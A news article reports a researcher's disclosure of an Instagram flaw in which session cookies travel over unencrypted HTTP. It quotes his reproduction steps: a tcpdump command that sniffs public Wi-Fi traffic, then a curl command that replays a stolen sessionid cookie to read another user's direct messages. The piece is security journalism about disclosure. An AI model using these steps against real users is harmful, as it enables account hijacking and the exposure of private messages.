Stevie Graham, a London-based developer, recently submitted a bug report to Facebook outlining what he saw as a security vulnerability in Instagram that would allow someone to hijack a user’s session based on data captured over a public Wi-Fi network. When he was told that he wouldn’t get a bug bounty from Facebook, which owns Instagram, he tweeted about it—and set about building a proof-of-concept tool to exploit it. “Denied bug bounty. Next step is to write automated tool enabling mass hijacking of accounts,” he wrote. “Pretty serious vuln, FB. please fix.”

As we reported in our recent coverage of mobile application privacy holes , Instagram uses HTTP for much of its communications, passing the user’s account name and an identifying account number in the clear. And as Graham demonstrated, there are other pieces of data sent between Instagram’s iOS client and the service that are passed in the clear. Even though the user’s credentials are submitted using a secure connection, information passed back by Instagram’s application interface to the phone client provides a cookie that can be used on the same network without reauthentication to connect via the Web to Instagram as that user and gain access to private messages and other data. “Once you have a cookie, any endpoint can be authenticated with the cookie, HTTPS or HTTP,” he wrote. Graham said that he has known about the flaw for years.

Graham posted the following steps to reproduce his findings:

Jump on an open or WEP encrypted Wi-Fi access point

Put your network interface into promiscuous mode filtering on i.instagram.com: sudo tcpdump -In -i en0 -s 2048 -A dst i.instagram.com

Wait for someone to use the Instagram iOS app on the same network

Extract cookie request header from the resulting output

Use sessionid cookie parameter to make any api call as that user Even https endpoints like direct messages:

curl -H 'User-Agent: Instagram 6.0.4 (iPhone6,2; iPhone OS 7_1_1; en_GB; en-GB) AppleWebKit/420+' \ -H 'Cookie: sessionid=REDACTED' \ https://i.instagram.com/api/v1/direct_share/inbox/`

This returns the user's direct message inbox as JSON (JavaScript Object Notation).

This sort of exploit is similar to the “Firesheep” exploit that drove Facebook to use HTTPS for user sessions on its pages back in 2010. In a Twitter discussion, Graham dubbed it “Instasheep.”

Ars has attempted to reach Facebook for comment on the exploit but has not received a response. We will update this story as more details become available.